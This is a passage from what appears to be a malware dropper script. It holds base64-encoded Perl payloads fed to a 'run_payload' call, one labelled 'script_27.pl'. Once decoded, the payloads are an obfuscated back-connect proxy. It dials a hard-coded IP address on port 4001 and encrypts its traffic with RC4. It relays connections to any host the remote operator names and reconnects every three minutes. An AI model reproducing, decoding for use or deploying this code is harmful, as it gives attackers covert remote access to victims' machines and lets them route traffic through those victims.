odW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_27.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc2JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU